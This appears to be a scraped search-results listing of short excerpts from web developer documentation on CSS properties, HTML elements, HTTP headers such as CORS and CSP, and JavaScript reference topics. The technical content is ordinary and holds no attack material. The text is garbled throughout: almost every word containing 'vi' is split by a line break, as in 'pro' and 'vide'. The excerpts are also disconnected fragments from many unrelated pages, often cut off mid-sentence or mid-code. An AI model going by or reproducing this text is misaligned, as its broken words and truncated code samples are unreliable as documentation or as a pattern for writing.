vision 2)the definition of 'used value' in that specification.
... css level 2 (re
vision 1)the definition of 'used value' in that specification.
user-select - CSS: Cascading Style Sheets
webkit/chromium-based browsers do implement the property as inherited, which
violates the beha
vior described in the spec, and this will bring some issues.
... until now, chromium chooses to fix the issues, make the final beha
vior meets the specifications.
vertical-align - CSS: Cascading Style Sheets
the baseline of some replaced elements, like <textarea>, is not specified by the html specification, meaning that their beha
vior with this keyword may vary between browsers.
....</div> <div>an <img class="middle" src="https://udn.realityripple.com/samples/b4/e1f0faff5b.svg" alt="link" width="32" height="32" /> image with a middle alignment.</div> css img.top { vertical-align: text-top; } img.bottom { vertical-align: text-bottom; } img.middle { vertical-align: middle; } result specifications specification status comment css level 2 (re
vision 1)the definition of 'vertical-align' in that specification.
word-spacing - CSS: Cascading Style Sheets
working draft replaces the pre
vious values with a <spacing-limit> value that defines the same thing, plus the <percentage> value.
... css level 2 (re
vision 1)the definition of 'word-spacing' in that specification.
z-index - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednocomputed valueas specifiedanimation typean integercreates stacking contextyes formal syntax auto | <integer> examples
visually layering elements html <div class="dashed-box">dashed box <span class="gold-box">gold box</span> <span class="green-box">green box</span> </div> css .dashed-box { position: relative; z-index: 1; border: dashed; height: 8em; margin-bottom: 1em; margin-top: 2em; } .gold-box { position: absolute; z-index: 3; /* put .gold-box above .green-box and .dashed-box */ backgr...
...ound: gold; width: 80%; left: 60px; top: 3em; } .green-box { position: absolute; z-index: 2; /* put .green-box above .dashed-box */ background: lightgreen; width: 20%; left: 65%; top: -25px; height: 7em; opacity: 0.9; } result specifications specification status comment css level 2 (re
vision 1)the definition of 'z-index' in that specification.
Mutation events - Developer guides
mutation events pro
vide a mechanism for a web page or an extension to get notified about changes made to the dom.
...moreover, remo
ving the listeners does not reverse the damage.
Separate sites for mobile and desktop - Developer guides
since only the mobile-specific content, styles, and scripts are sent to mobile users, this method also pro
vides for the best performance out of any of the other options presented here.
...if the functionality you would like to pro
vide to your users on mobile de
vices is extremely different from that on a desktop, then using separate sites is simply likely to be the most practical choice.
Parsing and serializing XML - Developer guides
in this article, we'll look at the objects pro
vided by the web platform to make the common tasks of serializing and parsing xml easy.
... use the following approaches to serialize the contents of the xml document you created in the pre
vious section.
Printing - Developer guides
this article pro
vides tips and techniques for helping your web content print better.
...you can also try changing the code to use <code>beforeprint</code> to see the difference.</p> <p><a href="javascript: popuponclick()">open popup window</a></p> </body> </html>
view live examples print an external page without opening it if you want to be able to print an external page without opening it, you can utilize a hidden <iframe> (see: htmliframeelement), automatically remo
ving it after the user prints its contents.
HTML attribute: maxlength - HTML: Hypertext Markup Language
examples <input type="password" maxlength="4"/> specifications specification status html li
ving standardthe definition of 'maxlength attribute' in that specification.
... li
ving standard html 5.1the definition of 'maxlength attribute' in that specification.
HTML attribute: minlength - HTML: Hypertext Markup Language
input { border: 2px solid currentcolor; } input:invalid { border: 2px dashed red; } input:invalid:focus { background-image: linear-gradient(pink, lightgreen); } specifications specification status html li
ving standardthe definition of 'minlength attribute' in that specification.
... li
ving standard html 5.1the definition of 'minlength attribute' in that specification.
HTML attribute: readonly - HTML: Hypertext Markup Language
ns</legend> <p><label> <input type="radio" name="radio" value="regular"> regular </label></p> <p><label> <input type="radio" name="radio" value="readonly" readonly> readonly </label></p> <p><label> <input type="radio" name="radio" value="disabled" disabled> disabled </label></p> </fieldset> specifications specification status comment html li
ving standardthe definition of 'readonly attribute' in that specification.
... li
ving standard html5the definition of 'readonly attribute' in that specification.
<center>: The Centered Text element (obsolete) - HTML: Hypertext Markup Language
this tag has been deprecated in html 4 (and xhtml 1) in favor of the css text-align property, which can be applied to the <div> element or to an indi
vidual <p>.
...<p>so will this paragraph.</p></div> example 3 (css alternative) <p style="text-align:center">this line will be centered.<br> and so will this line.</p> note applying text-align:center to a <div> or <p> element centers the contents of those elements while lea
ving their overall dimensions unchanged.
<data> - HTML: Hypertext Markup Language
<p>new products</p> <ul> <li><data value="398">mini ketchup</data></li> <li><data value="399">jumbo ketchup</data></li> <li><data value="400">mega jumbo ketchup</data></li> </ul> specifications specification status comment html li
ving standardthe definition of '<data>' in that specification.
... li
ving standard no change from html5 html5the definition of '<data>' in that specification.
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
ose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment html li
ving standardthe definition of '<datalist>' in that specification.
... li
ving standard html5the definition of '<datalist>' in that specification.
<del>: The Deleted Text element - HTML: Hypertext Markup Language
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html li
ving standardthe definition of '<del>' in that specification.
... li
ving standard html5the definition of '<del>' in that specification.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
hange', function onselect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date()).tostring(); }); result specifications specification status comment html li
ving standardthe definition of '<dialog>' in that specification.
... li
ving standard html 5.2the definition of '<dialog>' in that specification.
manifest - HTML: Hypertext Markup Language
use ser
vice workers instead.
... the manifest attribute has only effect during early stages of page load, thus changing it
via regular dom interfaces has no effect, window.applicationcache interface instead.
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
<p>the latin phrase <i>veni,
vidi,
vici</i> is often mentioned in music, art, and literature.</p> result specifications specification status comment html li
ving standardthe definition of '<i>' in that specification.
... li
ving standard html5the definition of '<i>' in that specification.
<ins> - HTML: Hypertext Markup Language
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html li
ving standardthe definition of '<ins>' in that specification.
... li
ving standard html5the definition of '<ins>' in that specification.
<legend> - HTML: Hypertext Markup Language
specifications specification status comment html li
ving standardthe definition of '<legend>' in that specification.
... li
ving standard definition of the legend element html5the definition of '<legend>' in that specification.
<li> - HTML: Hypertext Markup Language
first item</li> <li>second item</li> <li>third item</li> </ol> ordered list with a custom value <ol type="i"> <li value="3">third item</li> <li>fourth item</li> <li>fifth item</li> </ol> unordered list <ul> <li>first item</li> <li>second item</li> <li>third item</li> </ul> specifications specification status comment html li
ving standardthe definition of '<li>' in that specification.
... li
ving standard html5the definition of '<li>' in that specification.
<listing> - HTML: Hypertext Markup Language
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlisting deprecatedchrome no support noedge no support nofirefox no support nonotes no support nonotes notes before firefox 4, this ele...
...ment implemented the htmlspanelement interface instead of the standard htmlelement interface.ie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android no support nonotes no support nonotes notes before firefox 4, this element implemented the htmlspanelement interface instead of the standard htmlelement interface.opera android no support nosafari ios no ...
<map> - HTML: Hypertext Markup Language
ml"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result expected live example output the live example above should appear similar to the following images (when using your keyboard tab key): for the left.html link: for the right.html link specifications specification status comment html li
ving standardthe definition of '<map>' in that specification.
... li
ving standard html5the definition of '<map>' in that specification.
theme-color - HTML: Hypertext Markup Language
example <meta name="theme-color" content="#4285f4"> the following image shows the effect that the <meta> element above will have on a document displayed in chrome running on an android mobile de
vice.
... specifications specification html li
ving standardthe definition of 'theme-color' in that specification.
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
html <p>he got a <meter low="69" high="80" max="100" value="84">b</meter> on the exam.</p> result on google chrome, the resulting meter looks like this: specifications specification status comment html li
ving standardthe definition of '<meter>' in that specification.
... li
ving standard html5the definition of '<meter>' in that specification.
<noembed>: The Embed Fallback element (Obsolete) - HTML: Hypertext Markup Language
the <noembed> element is an obsolete, non-standard way to pro
vide alternative, or "fallback", content for browsers that do not support the <embed> element or do not support the type of embedded content an author wishes to use.
... show an alternative content <embed type="
vide/webm" src="/media/examples/flower.mp4" width="200" height="200"> <noembed> <h1>alternative content</h1> </noembed> </embed> ...
<noscript> - HTML: Hypertext Markup Language
specifications specification status comment html li
ving standardthe definition of '<noscript>' in that specification.
... li
ving standard html5the definition of '<noscript>' in that specification.
<ol>: The Ordered List element - HTML: Hypertext Markup Language
--> <ul> <li>second item first subitem</li> <li>second item second subitem</li> <li>second item third subitem</li> </ul> </li> <!-- here's the closing </li> tag --> <li>third item</li> </ol> the above html will output: specifications specification status comment html li
ving standardthe definition of '<ol>' in that specification.
... li
ving standard no change since last w3c snapshot, html5.
<optgroup> - HTML: Hypertext Markup Language
<option>option 1.1</option> </optgroup> <optgroup label="group 2"> <option>option 2.1</option> <option>option 2.2</option> </optgroup> <optgroup label="group 3" disabled> <option>option 3.1</option> <option>option 3.2</option> <option>option 3.3</option> </optgroup> </select> result specifications specification status comment html li
ving standardthe definition of '<optgroup>' in that specification.
... li
ving standard html5the definition of '<optgroup>' in that specification.
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
example <p>according to mozilla's website, <q cite="https://www.mozilla.org/about/history/details/">firefox 1.0 was released in 2004 and became a big success.</q></p> specifications specification status comment html li
ving standardthe definition of '<q>' in that specification.
... li
ving standard html5the definition of '<q>' in that specification.
<ruby> - HTML: Hypertext Markup Language
examples example 1: character <ruby> 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> example 2: word <ruby> 明日 <rp>(</rp><rt>ashita</rt><rp>)</rp> </ruby> specifications specification status comment html li
ving standardthe definition of '<ruby>' in that specification.
... li
ving standard html5the definition of '<ruby>' in that specification.
<s> - HTML: Hypertext Markup Language
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html li
ving standardthe definition of 's element' in that specification.
... li
ving standard html5the definition of 's element' in that specification.
<span> - HTML: Hypertext Markup Language
example example 1 html <p><span>some text</span></p> result example 2 html <li><span> <a href="portfolio.html" target="_blank">see my portfolio</a> </span></li> css li span { background: gold; } result specifications specification status comment html li
ving standardthe definition of '<span>' in that specification.
... li
ving standard html5the definition of '<span>' in that specification.
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
examples basic example <p>before proceeding, <strong>make sure you put on your safety goggles</strong>.</p> the resulting output: labeling warnings <p><strong>important:</strong> before proceeding, make sure you add plenty of butter.</p> this results in: specifications specification status comment html li
ving standardthe definition of '<strong>' in that specification.
... li
ving standard html5the definition of '<strong>' in that specification.
<sub>: The Subscript element - HTML: Hypertext Markup Language
another example: <p>almost every developer's favorite molecule is c<sub>8</sub>h<sub>10</sub>n<sub>4</sub>o<sub>2</sub>, which is commonly known as "caffeine."</p> the output: specifications specification status comment html li
ving standardthe definition of '<sub> and <sup>' in that specification.
... li
ving standard html5the definition of '<sub> and <sup>;' in that specification.
<time> - HTML: Hypertext Markup Language
9-0400 2011-11-18 14:54:39.929-04:00 a valid duration string pt4h18m3s examples simple example html <p>the concert starts at <time datetime="2018-07-07t20:00:00">20:00</time>.</p> output datetime example html <p>the concert took place on <time datetime="2001-05-15t19:00">may 15</time>.</p> output specifications specification status comment html li
ving standardthe definition of '<time>' in that specification.
... li
ving standard no change from html 5.1 html 5.1the definition of '<time>' in that specification.
<ul>: The Unordered List element - HTML: Hypertext Markup Language
--> <ol> <li>second item first subitem</li> <li>second item second subitem</li> <li>second item third subitem</li> </ol> <!-- here is the closing </li> tag --> </li> <li>third item</li> </ul> the above html will output: specifications specification status comment html li
ving standardthe definition of '<ul>' in that specification.
... li
ving standard html5the definition of '<ul>' in that specification.
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
if the ser
vice your code is accessing using a cors request is under your control, make sure that it's configured to include your origin in its access-control-allow-origin header, and that only one such header is included in responses.
... for example, in apache, add a line such as the following to the server's configuration (within the appropriate <directory>, <location>, <files>, or <
virtualhost> section).
Accept-CH-Lifetime - HTTP
note: client hints are accessible only on secure origins (
via tls).
... syntax accept-ch-lifetime: <age> examples accept-ch:
viewport-width, dpr accept-ch-lifetime: 86400 ...
Accept-CH - HTTP
note: client hints are accessible only on secure origins (
via tls).
... syntax accept-ch: <list of client hints> examples accept-ch: dpr,
viewport-width accept-ch: width accept-ch-lifetime: 86400 vary: dpr,
viewport-width, width note: remember to vary the response based on the accepted client hints.
Accept-Language - HTTP
this header is a hint to be used when the server has no way of determining the language
via another way, like a specific url, that is controlled by an explicit user decision.
...the content of the accept-language is often out of the control of the user (like when traveling and using an internet cafe in a different country); the user may also want to
visit a page in another language than the locale of their user interface.
Accept - HTTP
browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image,
video or a script.
... examples accept: text/html accept: image/* // general default accept: */* // default for na
vigation requests accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 specifications specification title rfc 7231, section 5.3.2: accept hypertext transfer protocol (http/1.1): semantics and context ...
Access-Control-Allow-Headers - HTTP
access-control-allow-headers: accept example preflight request let's look at an example of a preflight request invol
ving access-control-allow-headers.
... li
ving standard initial definition.
Access-Control-Expose-Headers - HTTP
examples to expose a non-cors-safelisted request header, you can specify: access-control-expose-headers: content-length to additionally expose a custom header, like x-kuma-re
vision, you can specify multiple headers separated by a comma: access-control-expose-headers: content-length, x-kuma-re
vision in requests without credentials, you can also use a wildcard value: access-control-expose-headers: * however, this won't wildcard the authorization header, so if you need to expose that, you will need to list it explicitly: access-control-expose-headers: *, authorization...
... li
ving standard ...
Clear-Site-Data - HTTP
this includes storage mechanisms such as: localstorage (executes localstorage.clear), sessionstorage (executes sessionstorage.clear), indexeddb (for each database execute idbfactory.deletedatabase), ser
vice worker registrations (for each ser
vice worker registration, execute ser
viceworkerregistration.unregister), appcache, websql databases, filesystem api data, plugin data (flash
via npp_clearsitedata).
... examples sign out of web site if a user signs out of your website or ser
vice, you might want to remove locally stored data.
CSP: child-src - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... examples
violation cases given this csp header: content-security-policy: child-src https://example.com/ this <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedworker = new worker("data:application/javascript,..."); </script> specifications specification status comment content security policy level 3the definiti...
CSP: default-src - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... 'report-sample' requires a sample of the
violating code to be included in the
violation report.
CSP: font-src - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... examples
violation cases given this csp header: content-security-policy: font-src https://example.com/ the following font resource loading is blocked and won't load: <style> @font-face { font-family: "myfont"; src: url("https://not-example.com/font"); } body { font-family: "myfont"; } </style> specifications specification status comment content security polic...
CSP: frame-src - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... examples
violation cases given this csp header: content-security-policy: frame-src https://example.com/ the following <iframe> is blocked and won't load: <iframe src="https://not-example.com/"></iframe> specifications specification status comment content security policy level 3the definition of 'frame-src' in that specification.
CSP: manifest-src - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... examples
violation cases given this csp header: content-security-policy: manifest-src https://example.com/ the following <link> is blocked and won't load: <link rel="manifest" href="https://not-example.com/manifest"> specifications specification status comment content security policy level 3the definition of 'manifest-src' in that specification.
CSP: prefetch-src - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... example prefetch resources do not match header given a page with the following content security policy: content-security-policy: prefetch-src https://example.com/ fetches for the following code will return network errors, as the urls pro
vided do not match prefetch-src's source list: <link rel="prefetch" src="https://example.org/"></link> <link rel="prerender" src="https://example.org/"></link> specification specification status comment content security policy level 3the definition of 'prefetch-src' in that specification.
CSP: sandbox - HTTP
allow-top-na
vigation allows the page to na
vigate (load) content to the top-level browsing context.
... allow-top-na
vigation-by-user-activation lets the resource na
vigate the top-level browsing context, but only if initiated by a user gesture.
CSP: script-src-attr - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... 'report-sample' requires a sample of the
violating code to be included in the
violation report.
CSP: script-src-elem - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... 'report-sample' requires a sample of the
violating code to be included in the
violation report.
CSP: style-src-elem - HTTP
it is critical to pro
vide an unguessable nonce, as bypassing a resource’s policy is otherwise tri
vial.
... 'report-sample' requires a sample of the
violating code to be included in the
violation report.
Cross-Origin-Embedder-Policy - HTTP
allows the document to fetch cross-origin resources without gi
ving explicit permission through the cors protocol or the cross-origin-resource-policy header.
...for example, you can use the crossorigin attribute for this image from a third-party site: <img src="https://thirdparty.com/img.png" crossorigin> specifications specification html li
ving standardthe definition of 'cross-origin-embedder-policy header' in that specification.
Cross-Origin-Opener-Policy - HTTP
this allows you to have more control over references to a window than rel=noopener, which only affects outgoing na
vigations.
... to check if cross-origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } specifications specification html li
ving standardthe definition of 'cross-origin-opener-policy header' in that specification.
DPR - HTTP
the dpr header is a client hints headers which represents the client de
vice pixel ratio (dpr), which is the the number of physical de
vice pixels corresponding to every css pixel.
... note: client hints are accessible only on secure origins (
via tls).
Feature-Policy: camera - HTTP
the http feature-policy header camera directive controls whether the current document is allowed to use
video input de
vices.
... when this policy is enabled, the promise returned by mediade
vices.getusermedia() will reject with a notallowederror.
Feature-Policy: fullscreen - HTTP
via the allow attribute) and the allowfullscreen attribute are present on an <iframe> element, this directive takes precedence.
...it can do so by delivering the following http response header to define a feature policy: feature-policy: fullscreen 'self' then include an allow attribute on the <iframe> element: <iframe src="https://other.com/
videoplayer" allow="fullscreen"></iframe> iframe attributes can selectively enable features in certain frames, and not in others, even if those frames contain documents from the same origin.
Feature-Policy: microphone - HTTP
the http feature-policy header microphone directive controls whether the current document is allowed to use audio input de
vices.
... when this policy is enabled, the promise returned by mediade
vices.getusermedia() will reject with a notallowederror.
Host - HTTP
if no port is included, the default port for the ser
vice requested (e.g., 443 for an https url, and 80 for an http url) is implied.
... header type request header forbidden header name yes syntax host: <host>:<port> directives <host> the domain name of the server (for
virtual hosting).
Retry-After - HTTP
there are three main cases this header is used: when sent with a 503 (ser
vice unavailable) response, this indicates how long the ser
vice is expected to be unavailable.
...it is useful to send it along with a 503 (ser
vice unavailable) response, so that search engines will keep indexing your site when the downtime is over.
Save-Data - HTTP
a value of on indicates explicit user opt-in into a reduced data usage mode on the client, and when communicated to origins allows them to deliver alternative content to reduce the data downloaded such as smaller image and
video resources, different markup and styling, disabled polling and automatic updates, and so on.
...after ha
ving switched from cellular to wi-fi]).
Sec-Fetch-Dest - HTTP
ec- cors-safelisted request header syntax sec-fetch-dest: audio sec-fetch-dest: audioworklet sec-fetch-dest: document sec-fetch-dest: embed sec-fetch-dest: empty sec-fetch-dest: font sec-fetch-dest: image sec-fetch-dest: manifest sec-fetch-dest: nested-document sec-fetch-dest: object sec-fetch-dest: paintworklet sec-fetch-dest: report sec-fetch-dest: script sec-fetch-dest: ser
viceworker sec-fetch-dest: sharedworker sec-fetch-dest: style sec-fetch-dest: track sec-fetch-dest:
video sec-fetch-dest: worker sec-fetch-dest: xslt sec-fetch-dest: audioworklet sec-fetch-dest: audioworklet values audio audioworklet document embed empty font image manifest object paintworklet report script ser
viceworker sharedworker style track ...
...
video worker xslt nested-document examples todo specifications specification title fetch metadata request headers the sec-fetch-dest http request header ...
Server-Timing - HTTP
the specification ad
vices that names and descriptions should be kept as short as possible (use abbre
viations and omit optional values where possible) to minimize the http overhead.
... performanceservertiming interface in addition to ha
ving server-timing header metrics appear in the developer tools of the browser, the performanceservertiming interface enables tools to automatically collect and process metrics from javascript.
SameSite cookies - HTTP
values the samesite attribute accepts three values: lax cookies are allowed to be sent with top-level na
vigations and will be sent along with get request initiated by third party website.
... cookies without samesite default to samesite=lax recent versions of modern browsers pro
vide a more secure default for samesite to your cookies and so the following message might appear in your console: some cookies are misusing the “samesite“ attribute, so it won’t work as expected.
Upgrade - HTTP
header type request header, response header forbidden header name yes over
view the upgrade header field may be used by clients to in
vite a server to switch to one (or more) of the listed protocols, in descending preference order.
... more detail and examples are pro
vided in the topic protocol upgrade mechanism.
User-Agent - HTTP
please read browser detection using the user agent for why ser
ving different web pages or ser
vices to different browsers is usually a bad idea.
...(on desktop, geckotrail is always the fixed string 20100101.) firefox/firefoxversion indicates the browser is firefox, and pro
vides the version (such as "17.0").
Vary - HTTP
examples dynamic ser
ving when using the vary: user-agent header, caching servers should consider the user agent when deciding whether to serve the page from cache.
... for example, if you are ser
ving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users.
Want-Digest - HTTP
the want-digest http header is primarily used in a http request, to ask the responder to pro
vide a digest of the requested resource using the digest response header.
... examples want-digest: sha-256 want-digest: sha-512;q=0.3, sha-256;q=1, md5;q=0 basic operation the sender pro
vides a list of digests which it is prepared to accept, and the server uses one of them: request: get /item want-digest: sha-256;q=0.3, sha;q=1 response: http/1.1 200 ok digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= unsupported digests the server does not support any of the requested digest algorithms, so uses a different algorithm: request: get /item want-digest: ...
Warning - HTTP
<warn-text> ad
visory text describing the error.
... code text description 110 response is stale a response pro
vided by a cache is stale (the expiration time set for it has passed).
X-Content-Type-Options - HTTP
starting with firefox 72, the opting out of mime sniffing is also applied to top-level documents if a content-type is pro
vided.
... li
ving standard initial definition ...
X-Frame-Options - HTTP
the added security is pro
vided only if the user accessing the document is using a browser that supports x-frame-options.
...on the other hand, if you specify sameorigin, you can still use the page in a frame as long as the site including it in a frame is the same as the one ser
ving the page.
X-XSS-Protection - HTTP
although these protections are largely unnecessary in modern browsers when sites implement a strong content-security-policy that disables the use of inline javascript ('unsafe-inline'), they can still pro
vide protections for users of older web browsers that don't yet support csp.
...if a cross-site scripting attack is detected, the browser will sanitize the page and report the
violation.
205 Reset Content - HTTP
the http 205 reset content response status tells the client to reset the document
view, so for example to clear the content of a form, reset a canvas state, or to refresh the ui.
... status 205 reset content specifications specification title rfc 7231, section 6.3.6: 205 reset content hypertext transfer protocol (http/1.1): semantics and content compatibility notes browser beha
vior differs if this response erroneously includes a body on persistent connections see 204 no content for more detail.
307 Temporary Redirect - HTTP
with 302, some old clients were incorrectly changing the method to get: the beha
vior with non-get methods and 302 is then unpredictable on the web, whereas the beha
vior with 307 is predictable.
... for get requests, their beha
vior is identical.
Enumerability and ownership of properties - JavaScript
enumerable properties are those properties whose internal enumerable flag is set to true, which is the default for properties created
via simple assignment or
via a property initializer (properties defined
via object.defineproperty and such default enumerable to false).
...there are a number of built-in means of detecting, iterating/enumerating, and retrie
ving object properties, with the chart showing below which are available.
Assertions - JavaScript
this is a position where the pre
vious and next character are of the same type: either both must be words, or both must be non-words, for example between two letters or between two spaces.
... examples general boundary-type over
view example // using regex boundaries to fix buggy string.
JavaScript Guide - JavaScript
the javascript guide shows you how to use javascript and gives an over
view of the language.
... chapters this guide is di
vided into several chapters: introduction about this guide about javascript javascript and java ecmascript tools hello world grammar and types basic syntax & comments declarations variable scope variable hoisting data structures and types literals control flow and error handling if...else switch try/catch/throw error objects loops and iteration for while do...while break/continue for..in for..of functions defining functions calling functions function scope closures arguments & parameters arrow functions expressions and operators assignment & comparisons arith...
Private class fields - JavaScript
this can lead to unexpected beha
viour when using this.
... return 42 } static publicstaticmethod1() { return classwithprivatestaticmethod.#privatestaticmethod(); } static publicstaticmethod2() { return this.#privatestaticmethod(); } } console.assert(classwithprivatestaticmethod.publicstaticmethod1() === 42); console.assert(classwithprivatestaticmethod.publicstaticmethod2() === 42); this can lead to unexpected beha
viour when using this.
extends - JavaScript
class square extends polygon { constructor(length) { // here, it calls the parent class' constructor with lengths // pro
vided for the polygon's width and height super(length, length); // note: in derived classes, super() must be called before you // can use 'this'.
... lea
ving this out will cause a reference error.
TypeError: can't access dead object - JavaScript
examples checking if an object is dead components.utils offers a isdeadwrapper() method, which pri
vileged code might use.
... if (components.utils.isdeadwrapper(window)) { // dead } unpri
vileged code has no access to component.utils and might just be able catch the exception.
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
string generics pro
vide string instance methods on the string object allowing string methods to be applied to any object.
... examples deprecated syntax var num = 15; string.replace(num, /5/, '2'); standard syntax var num = 15; string(num).replace(/5/, '2'); shim the following is a shim to pro
vide support to non-supporting browsers: /*globals define*/ // assumes all supplied string instance methods already present // (one may use shims for these if not available) (function() { 'use strict'; var i, // we could also build the array of methods with the following, but the // getownpropertynames() method is non-shimable: // object.getownpropertynames(string).filter(function(methodname) { // return typeof string[methodname] === 'function'; // }); methods = [ 'contains', 'substring', 'tolowercase', 'touppercase', 'charat', 'charcodeat', 'indexof', 'lastindexof', 'star...
SyntaxError: missing ; before statement - JavaScript
you need to pro
vide a semicolon, so that javascript can parse the source code correctly.
...some of them are affected by automatic semicolon insertion (asi), but in this case you need to pro
vide a semicolon, so that javascript can parse the source code correctly.
SyntaxError: Unexpected token - JavaScript
the javascript exceptions "unexpected token" occur when a specific language construct was expected, but something else was pro
vided.
... a specific language construct was expected, but something else was pro
vided.
SyntaxError: function statement requires a name - JavaScript
you'll need to check how functions are defined and if you need to pro
vide a name for it, or if the function in question needs to be a function expression, an iife, or if the function code is placed correctly in this context at all.
...you will need a few more braces in this case: (function () { })(); labeled functions if you are using function labels, you will still need to pro
vide a function name after the function keyword.
JavaScript error reference - JavaScript
the pages below will pro
vide additional details about these errors.
...together, these two properties pro
vide a starting point toward understanding and resol
ving the error.
Array.prototype[@@unscopables] - JavaScript
property attributes of array.prototype[@@unscopables] writable no enumerable no configurable yes examples use in with en
vironments the following code works fine in es5 and below.
...that means that inside with en
vironments, "keys" would now be the method and not the variable.
Array.from() - JavaScript
mapfn(kvalue, k) : mapfn.call(t, kvalue, k); } else { a[k] = kvalue; } } k += 1; } if (isiterator) { throw new typeerror( 'array.from: pro
vided arraylike or iterator has length more then 2 ** 52 - 1' ); } else { a.length = len; } return a; }; // the length property of the from method is 1.
... if (!iscallable(mapfn)) { throw new typeerror( 'array.from: when pro
vided, the second argument must be a function' ); } // 5.
Array.prototype.pop() - JavaScript
array.prototype.shift() has similar beha
vior to pop, but applied to the first element in an array.
... examples remo
ving the last element of an array the following code creates the myfish array containing four elements, then removes its last element.
Array.prototype.shift() - JavaScript
array.prototype.pop() has similar beha
vior to shift, but applied to the last element in an array.
... examples remo
ving an element from an array the following code displays the myfish array before and after remo
ving its first element.
Array.prototype.sort() - JavaScript
note: the ecmascript standard does not guarantee this beha
vior, thus, not all browsers (e.g.
...the following function will sort the array in ascending order (if it doesn't contain infinity and nan): function comparenumbers(a, b) { return a - b; } the sort method can be conveniently used with function expressions: var numbers = [4, 2, 5, 1, 3]; numbers.sort(function(a, b) { return a - b; }); console.log(numbers); // [1, 2, 3, 4, 5] es2015 pro
vides arrow function expressions with even shorter syntax.
Array.prototype.splice() - JavaScript
the splice() method changes the contents of an array by remo
ving or replacing existing elements and/or adding new elements in place.
...in this case, no element will be deleted but the method will behave as an adding function, adding as many element as item[n*] pro
vided.
Date() constructor - JavaScript
parameters there are four basic forms for the date() constructor: no parameters when no parameters are pro
vided, the newly-created date object represents the current date and time as of the time of instantiation.
... indi
vidual date and time component values given at least a year and month, this form of date() returns a date object whose component values (year, month, day, hour, minute, second, and millisecond) all come from the following parameters.
Date.prototype.getTimezoneOffset() - JavaScript
if the host system is configured for daylight sa
ving, the offset will change depending on the date and time that the date represents and that daylight sa
ving applies.
... examples using gettimezoneoffset() // get current timezone offset for host de
vice let x = new date(); let currenttimezoneoffsetinhours = x.gettimezoneoffset() / 60; // 1 // get timezone offset for international labour day (may 1) in 2016 // be careful, the date() constructor uses 0-indexed months, so may is // represented with 4 (and not 5) let labourday = new date(2016, 4, 1) let labourdayoffset = labourday.gettimezoneoffset() / 60; specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gettimezoneoffset' in that specification.
Date.prototype.setMonth() - JavaScript
so, 0 represents january, 11 represents december, -1 represents december of the pre
vious year, and 12 represents january of the following year.
... the current day of month will have an impact on the beha
viour of this method.
Error() constructor - JavaScript
therefore, a mere call to error will produce the same output that constructing an error object
via the new keyword would.
...const y = new error('i was constructed
via the "new" keyword!') specifications specification ecmascript (ecma-262)the definition of 'error constructor' in that specification.
Function.name - JavaScript
therefore we can't obtain the class name for
virtually any class with a static method property name(): class foo { constructor() {} static name() {} } with a static name() method foo.name no longer holds the actual class name but a reference to the name() function object.
... above class definition in es2015 syntax will behave in chrome or firefox similar to the following snippet in es5 syntax: function foo() {} object.defineproperty(foo, 'name', { writable: true }); foo.name = function() {}; trying to obtain the class of fooinstance
via fooinstance.constructor.name won't give us the class name at all but a reference to the static class method.
Generator.prototype.return() - JavaScript
if no argument is pro
vided, the value property of returned object is the same as if .next().
... if an argument is pro
vided, it will be set to the value of the value property of the returned object.
Intl.Collator.prototype.resolvedOptions() - JavaScript
usage sensiti
vity ignorepunctuation the values pro
vided for these properties in the options argument or filled in as defaults.
... examples using the resolvedoptions method var de = new intl.collator('de', { sensiti
vity: 'base' }) var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de" usedoptions.usage; // "sort" usedoptions.sensiti
vity; // "base" usedoptions.ignorepunctuation; // false usedoptions.collation; // "default" usedoptions.numeric; // false specifications specification ecmascript internationalization api (ecma-402)the ...
Intl.DateTimeFormat.prototype.formatRange() - JavaScript
